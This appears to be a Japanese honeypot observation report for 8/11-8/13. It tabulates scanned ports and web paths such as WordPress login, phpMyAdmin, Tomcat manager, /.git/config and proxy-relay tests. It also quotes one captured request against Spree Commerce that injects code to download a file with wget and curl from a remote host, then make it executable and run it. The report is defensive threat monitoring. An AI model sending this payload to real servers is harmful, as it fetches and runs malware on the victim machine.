Honeypot簡易分析(357-358日目:8/11-8/13)となります。
◾️Honeytrap
◾️Honeytrap
※80ポートは除く
＜国別検知数および検知数＞
＜国別検知数および検知数＞
＜ポート検知数＞
| ポート番号 | サービス | 件数 |
| 445 | smb | 11055 |
| 23 | telnet | 6645 |
| 81 | hosts2-ns | 1463 |
| 5900 | vnc | 1434 |
| 2323 | telnet | 692 |
| 9000 | cslistener | 535 |
| 3389 | rdp | 462 |
| 8888 |
ddi-tcp-1
|
384 |
|
ddi-udp-1
|
||
| 50000 | 365 | |
| 60000 | 361 |
＜新規マルウェア＞
検知なし
◾️WoWHoneeypot
＜国別検知数および検知数＞
＜検知パス一覧＞
| wow_path_research | target | CVE | reference | count |
| /wp-login.php | WordPress | - | - | 917 |
| / | - | - | - | 84 |
| /admin/assets/js/views/login.js | FreePBX | - | https://git.freepbx.org/projects/FREEPBX/repos/framework/browse/amp_conf/htdocs/admin/assets/js/views/login.js?at=bfb36fa7ac70c2e642257dbcd99a1799e19ea743 | 54 |
| hxxp://110.249.212.46/testget | Unauthorized Relay | - | - | 10 |
| /TP/public/index.php | ThinkPHP | - | - | 6 |
| www[.]baidu.com:443 | Unauthorized Relay | - | - | 4 |
| /robots.txt | - | - | - | 2 |
| cn[.]bing.com:443 | Unauthorized Relay | - | - | 2 |
| hxxp://123[.]125.114.144/ | Unauthorized Relay | - | - | 2 |
| hxxp://www[.]123cha.com/ | Unauthorized Relay | - | - | 2 |
| hxxp://www[.]baidu.com/ | Unauthorized Relay | - | - | 2 |
| hxxp://www[.]ip.cn/ | Unauthorized Relay | - | - | 2 |
| /.git/config | git | - | - | 1 |
| /// | - | - | - | 1 |
| ///wp-json/wp/v2/users/ | WordPress | - | - | 1 |
| //recordings/misc/play_page.php | FreePBX FreePBX |
- - |
https://sec23.hatenablog.com/entry/2019/07/24/233000 https://community.freepbx.org/t/incorrect-mime-type-sent-when-playing-voicemail-call-recordings-in-web-browser/16774 |
1 |
| /Default.aspx | 1 | |||
| /manager/html | Tomcat | - | - | 1 |
| /manager/text/list | Tomcat Tomcat |
- - |
https://tomcat.apache.org/tomcat-7.0-doc/manager-howto.html https://tomcat.apache.org/tomcat-7.0-doc/manager-howto.html |
1 |
| /phpmyadmin | phpMyAdmin | - | - | 1 |
| /phpmyadmin/scripts/setup.php | 1 | |||
| /server-status | Apache Server | - | https://github.com/mazen160/server-status_PWN | 1 |
| /w00tw00t.at.blackhats.romanian.anti-sec:) | phpMyAdmin | - | - | 1 |
| hxxp://api[.]bilibili.com/x/web-interface/zone | 1 | |||
| xui[.]ptlogin2.qq.com:443 | Unauthorized Relay | - | - | 1 |
＜新規検知パス一覧＞
| wow_path_research | target | CVE | reference |
| /Default.aspx | aspx | - | - |
| /phpmyadmin/scripts/setup.php | phpMyAdmin | - | - |
| http://api.bilibili.com/x/web-interface/zone | Unauthorized Relay | - | - |
＜マルウェアダウンロード＞
| malware_wowhoneypot_report | wow_path | base64_wow_decrypted_report | count |
|---|---|---|---|
| hxxp://185[.]164[.]72[.]155/richard | / | GET /?search[send]=eval&search[send]=Kernel.fork%20do%60wget%20hxxp://xxx.xxx.xxx.xxx/richard;%20curl%20-O%20hxxp://xxx.xxx.xxx.xxx/richard;%20chmod%20+x%20richard;%20./richard%60end HTTP/1.1.User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1).Connection: Close.. | 1 |
Rails製ECサイトのSpreeCommerceの脆弱性を狙ったものとなります。
マルウェアは調査時点ではアクセス不可であったため、どのようなマルウェアであるかは不明でした。
https://www.exploit-db.com/exploits/17941
以上となります。
